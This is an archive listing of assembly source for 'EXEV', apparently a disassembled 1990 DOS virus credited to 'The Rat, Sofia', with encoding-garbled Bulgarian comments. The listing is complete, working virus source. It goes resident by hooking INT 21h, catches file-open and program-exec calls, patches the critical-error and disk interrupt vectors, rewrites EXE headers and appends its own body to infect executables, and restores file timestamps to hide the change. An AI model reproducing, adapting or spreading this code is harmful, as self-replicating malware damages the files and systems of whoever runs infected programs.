home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-E.ZIP / EXEV_SR.ASM < prev   
Assembly Source File  |  1980-01-01  |  13KB  |  269 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                             EXEV                                     ██
  7. ;██                                                                      ██
  8. ;██      Created:   2-Jun-90                                             ██
  9. ;██      Version:                                                        ██
  10. ;██      Passes:    9          Analysis Options on: ABCDEFPX             ██
  11. ;██                                                                      ██
  12. ;██                                                                      ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.  
  15. data_13e        equ     1000h                   ; (6B7E:1000=0)
  16.  
  17. seg_a           segment byte public
  18.                 assume  cs:seg_a, ds:seg_a
  19.  
  20.  
  21.                 org     100h
  22.  
  23. exev            proc    far
  24.  
  25. start:
  26.                 mov     dx,offset data_1        ; (6B7E:010A=0Ah)
  27.                 mov     ah,9
  28.                 int     21h                     ; DOS Services  ah=function 09h
  29.                                                 ;  display char string at ds:dx
  30.                 jmp     loc_2                   ; (0A10)
  31. data_1          db      0Ah, 0Dh, 'éá╕¿┐▓ ┐º«ó¿░ Ñ ºá░¿íÑ¡. '
  32.                 db      'îáá⌐ ▒¼Ñ½« ! ..', 0Ah, 0Dh, '$'
  33.                 db      0
  34.                 db      1928 dup (0)
  35. data_3          dw      0
  36.                 db      0, 0, 0, 0
  37. data_4          dw      0
  38. data_5          dw      0
  39. data_6          dw      0
  40.                 db      0, 0, 0, 0
  41. data_7          dw      0
  42.                 db      0, 0, 0, 0
  43. data_8          dw      0
  44. data_9          dw      0
  45.                 db      310 dup (0)
  46. loc_2:
  47.                 cld                             ; Clear direction
  48.                 mov     ax,352Bh
  49.                 int     21h                     ; DOS Services  ah=function 35h
  50.                                                 ;  get intrpt vector al in es:bx
  51.                 mov     bp,ds
  52.                 push    cs
  53.                 pop     ds
  54.                 add     word ptr jmp_far+3,bp   ; Å░¿íáó┐ ¬║¼ JMP FAR ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
  55.                 mov     si,0A10h                ; Å░ѼÑ▒▓óá ú« ó ▒Ñú¼Ñ¡▓á ¬«⌐▓« ▒«╖¿
  56.                 mov     di,si                   ; ES ▓«óá Ñ ▒Ñú¼Ñ¡▓á ¡á INT 21H
  57.                 mov     cx,180h
  58.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  59.                 push    es                      ; æ½Ññ ¬á▓« ú« »░ѼÑ▒▓¿ ▒Ñ «í░║╣á ¬║¼
  60.                 mov     ax,offset prehod        ; ¡Ñú«,¡« ¡á ¡«ó¿┐ áñ░Ñ▒
  61.                 push    ax
  62.                 retf                            ; Return far
  63. prehod          label   word
  64.                 lea     di,[bx+1Bh]             ; çá░Ѫñá ▒Ñú¼Ñ¡▓á ¡á ó░║╣á¡Ñ ó JMP FAR
  65.                 mov     al,0E9h                 ; çỿ▒óá ¬«ñá ¡á JMP
  66.                 stosb                           ; Store al to es:[di]
  67.                 mov     ax,offset jmp_far+3     ; Æ«óá Ñ áñ░Ñ▒á ¡á ¬«⌐▓« ▓░┐íóá ñá ▒Ñ
  68.                 sub     ax,di                   ; «í░║╣á,¿ºóáªñá ú« «▓ «▓¼Ñ▒▓óá¡Ñ▓« ¡á
  69.                 stosw                           ; INT 21H ¿ ú« ºá»¿▒óá
  70.                 stosw                           ; Æ«óᠺỿ▒óá ó «▒▓á¡á½¿▓Ñ íá⌐▓«óÑ
  71.                 stosw                           ; »░ạ¿ ¿¡▒▓░│¬╢¿¿
  72.                 mov     cs:data_3,di            ; Æ«óá Ñ áñ░Ñ▒á ¡á INT 21H
  73.                 mov     ax,ss                   ; é║º▒▓á¡«ó┐óá SS
  74.                 sub     ax,18h
  75.                 cli
  76.                 mov     ss,ax
  77.                 lea     ax,[bp+10h]             ; éºÑ¼á áñ░Ñ▒á «▓ ¬«⌐▓« ▓░┐íóá
  78.                 mov     bx,11h                  ; ñá ▒Ñ ºá░Ññ¿ »░«ú░á¼á▓á
  79. move            label   word
  80. loc_3:
  81.                 mov     es,ax
  82.                 add     ax,18h
  83.                 mov     ds,ax
  84.                 xor     si,si                   ; Å░ѼÑ▒▓óá í½«¬«óÑ »« 180h íá⌐▓á ºá
  85.                 xor     di,di                   ; ñá ú¿ ó║░¡Ñ ¡á ¼┐▒▓«▓« ¿¼.Å░áó¿ ú«
  86.                 mov     cx,0C0h                 ; 11h »║▓¿ ºá ñá ▒Ñ ¿º░áó¡¿
  87.                 rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  88.                 dec     bx
  89.                 jns     loc_3                   ; Jump if not sign
  90.                 sti                             ; Enable interrupts
  91.                 mov     ds,bp                   ; é║º▒▓á¡«ó┐óá DS ¿ ES
  92.                 push    ds
  93.                 pop     es
  94. jmp_far:        db      0EAh,0,0,0,0            ; Æ«óá Ñ áñ░Ñ▒á ¡á ºá ó░║╣á¡Ñ ¿ JMP FAR
  95. int_21:         cld                             ; ÄÆ Æôè çÇÅÄùéÇ ÄüÉÇüÄÆèÇÆÇ ìÇ INT 21H
  96.                 cmp     ah,3Dh                  ; '='
  97.                 je      loc_4                   ; Jump if equal
  98.                 cmp     ah,4Bh                  ; 'K'
  99.                 jne     loc_5                   ; Jump if not equal
  100. loc_4:                                          ;  xref 6B7E:0A70
  101.                 push    es
  102.                 call    sub_5                   ; (0AAD)
  103.                 pop     es
  104. loc_5:                                          ;  xref 6B7E:0A75
  105.                 jmp     cs:data_3               ; JMP ¬║¼ INT 21h
  106.  
  107. exev            endp
  108.  
  109. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  110. ;                              SUBROUTINE
  111. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  112.  
  113. sub_1           proc    near                    ; ùÑ▓Ñ/ºá»¿▒óá »░Ñ┤¿¬▒á ¡á ┤á⌐½á
  114.                 mov     cx,20h                  ; Éẻ«½áúá ú« «▓ INT 21H_SEG:8C2
  115.                 mov     dx,8C2h
  116.                 jmp     short loc_6             ; (0A90)                         ; (0A90)
  117.  
  118. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  119.  
  120. sub_2:
  121.                 mov     ax,4200h
  122.                 xor     dx,dx                   ; Zero register
  123.  
  124. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  125.  
  126. sub_3:
  127.                 xor     cx,cx
  128.  
  129. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  130.  
  131. sub_4:                                          ; Äí░║╣á ▒Ñ ¬║¼ INT 21H
  132. loc_6:                                          ;  xref 6B7E:0A87
  133.                 pushf                           ; Push flags
  134.                 push    cs
  135.                 call    cs:data_3               ; (6B7E:08C0=0)
  136.                 retn
  137. sub_1           endp
  138.  
  139. abort  :        mov     al,3                    ; é╡«ñ¡á ▓«╖¬á ¡á INT 24H
  140.                 iret                            ; Interrupt return
  141. _1              dw      17D0h
  142.                 dw      1509h
  143.                 dw      154Ch
  144. _2              dw      0F7Ah
  145.                 dw      15DCh                   ;Æ│¬ Ñ ¿ áñ░Ñ▒á ¡á INT 13H
  146.                 dw      161Fh
  147.  
  148. _3              dw      0FC9h,15DCh,161Fh        ;Æ«óá ▒á ñá¡¡¿▓Ñ ºá
  149.                                                  ;INT 25H,INT 26H,INT 27H
  150.  
  151. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  152. ;                              SUBROUTINE
  153. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  154.  
  155. sub_5           proc    near
  156.                 push    di                      ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  157.                 push    si
  158.                 push    dx
  159.                 push    cx
  160.                 push    bx
  161.                 push    ax
  162.                 push    ds
  163.                 xor     ax,ax                   ; Zero register
  164.                 mov     ds,ax
  165.                 push    cs
  166.                 pop     es
  167.                 mov     si,4Ch
  168.                 push    si
  169.                 mov     di,8E2h
  170.                 mov     cx,28h                  ; çá»áºóá »░¬║▒óá¡¿┐▓á «▓ 13H ñ« 24H
  171.                 rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  172.                 pop     di
  173.                 push    ds
  174.                 pop     es
  175.                 mov     al,70h                  ; 'p'
  176.                 mov     ds,ax
  177.                 mov     al,ds:data_13e          ;Å«▒▓áó┐ ó al ▒║ñ║░ªá¡¿Ñ▓« ¡á 70:1000
  178.                 mov     si,offset _1
  179.                 cmp     al,0
  180.                 je      loc_7                   ; Jump if equal
  181.                 mov     si,offset _2
  182.                 cmp     al,0Fh
  183.                 je      loc_7                   ; Jump if equal
  184.                 mov     si,offset _3
  185. loc_7:                                          ;  xref 6B7E:0AD5, 0ADC
  186.                 push    cs
  187.                 pop     ds
  188.                 movsw
  189.                 mov     al,70h                  ; æ¼Ñ¡┐ INT 13H
  190.                 stosw                           ; Store ax to es:[di]
  191.                 mov     di,90h
  192.                 mov     ax,offset abort         ; æ¼Ñ¡┐ áñ░Ñ▒á ¡á INT 24H
  193.                 stosw                           ; Store ax to es:[di]
  194.                 mov     ax,cs
  195.                 stosw
  196.                 movsw
  197.                 stosw                           ; é░║╣á «░¿ú¿¡á½¡¿▓Ñ ó╡«ñ¡¿
  198.                 movsw                           ; ▓«╖¬¿ ¡á INT 25H , INT 26H ,
  199.                 stosw                           ; INT 27H
  200.                 pop     ds
  201.                 mov     ax,3D02h                ; Ä▓óá░┐ ┤á⌐½á ºá ╖Ñ▓Ñ¡Ñ/ºá»¿▒
  202.                 call    sub_4                   ; (0A90)
  203.                 push    ds
  204.                 push    cs
  205.                 pop     ds
  206.                 mov     bx,ax
  207.                 mov     ax,5700h                ; éºÑ¼á ñá▓á▓á ¿ ╖á▒á ¡á ┤á⌐½á
  208.                 jc      loc_9                   ; Jump if carry Set
  209.                 call    sub_4                   ; (0A90)
  210.                 push    cx                      ; çá»áºóá ñá▓á▓á ¿ ╖á▒á ó ▒▓Ѭá
  211.                 push    dx
  212.                 mov     ah,3Fh                  ; ö│¡¬╢¿┐ ºá ╖Ñ▓Ñ¡Ñ ¡á »░Ñ┤¿¬▒á
  213.                 call    sub_1                   ; (0A81)
  214.                 cmp     data_5,0                ; Å░«óÑ░┐óᠺᠻ░ѼÑ▒▓óáѼ¿ ▒¿¼ó«½¿
  215.                 jne     loc_8                   ; çá▓óá░┐ ¿ ¿º½¿ºá
  216.                 cmp     data_6,ax               ; Å░«óÑ░┐óá ░ẼÑ░á ¡á »░Ñ┤¿¬▒á 0 ?
  217.                 jne     loc_8                   ; Jump if not equal
  218.                 mov     ax,data_4               ; Å«▒▓áó┐ ó AX ñ║½ª¿¡á▓á ¡á ┤á⌐½á
  219.                 shl     ax,1                    ; ô¼¡«ªáóá ┐ »« 2
  220.                 mov     word ptr move-2,ax      ; çỿ▒óá ¬«½¬« »║▓¿ ñá ▒Ñ »░ѼÑ▒▓¿
  221.                 sub     data_6,18h              ; ìá¼á½┐óá ñ║½ª¿¡á▓á ¡á »░Ñ┤¿¬▒á
  222.                 add     data_7,18h              ; ôóѽ¿╖áóá «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ▒ 18h
  223.                 mov     ax,0A10h
  224.                 xchg    ax,data_8               ; IP ñá í║ñÑ ¡á «▓¼Ñ▒▓óá¡Ñ A10h
  225.                 mov     word ptr jmp_far+1,ax   ; çá»áºóá IP ó FAR JMP
  226.                 mov     ax,0FF5Fh               ; Å«▒▓áó┐ CS ▓á¬á,╖Ñ CS:IP ñá
  227.                 xchg    ax,data_9               ; ▒«╖¿ ¡á╖Ὣ▓« ¡á ó¿░│▒á
  228.                 add     ax,10h
  229.                 mov     word ptr jmp_far+3,ax   ; Å«▒▓áó┐ ó JMP FAR ▒Ñú¼Ñ¡▓á
  230.                 call    sub_2                   ; Å«▒▓áó┐ ó ¡á╖Ὣ▓« ¡á ┤á⌐½á
  231.                 mov     ah,40h                  ; çỿ▒óá »░Ñ┤¿¬▒á
  232.                 call    sub_1                   ; (0A81)
  233.                 mov     ax,4200h
  234.                 mov     dx,80h                  ;Å░ѼÑ▒▓óá »«¬áºá½Ñ╢á ¡á 80h
  235.                 call    sub_3                   ; (0A8E)
  236.                 mov     cx,180h
  237.                 mov     dx,0A10h
  238.                 mov     ah,40h                  ; çỿ▒óá ó¿░│▒á
  239.                 call    sub_4                   ; (0A90)
  240. loc_8:                                          ;  xref 6B7E:0B15, 0B1B
  241.                 pop     dx
  242.                 pop     cx
  243.                 mov     ax,5701h                ; çỿ▒óá ▒▓á░¿┐ ╖á▒ ¿ ñá▓á
  244.                 call    sub_4                   ; (0A90)
  245.                 mov     ah,3Eh                  ; çá▓óá░┐ ┤á⌐½á
  246.                 call    sub_4                   ; (0A90)
  247. loc_9:                                          ;  xref 6B7E:0B04
  248.                 mov     si,8E2h
  249.                 mov     di,4Ch
  250.                 mov     cx,28h                  ; é░║╣á »░Ѭ║▒óá¡¿┐▓á
  251.                 rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  252.                 pop     ds
  253.                 pop     ax                      ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
  254.                 pop     bx
  255.                 pop     cx
  256.                 pop     dx
  257.                 pop     si
  258.                 pop     di
  259.                 retn
  260. sub_5           endp
  261.  
  262.                 db      'The Rat, Sofia'
  263.  
  264.  
  265.  
  266. seg_a           ends
  267.  
  268.                 end  start
  269.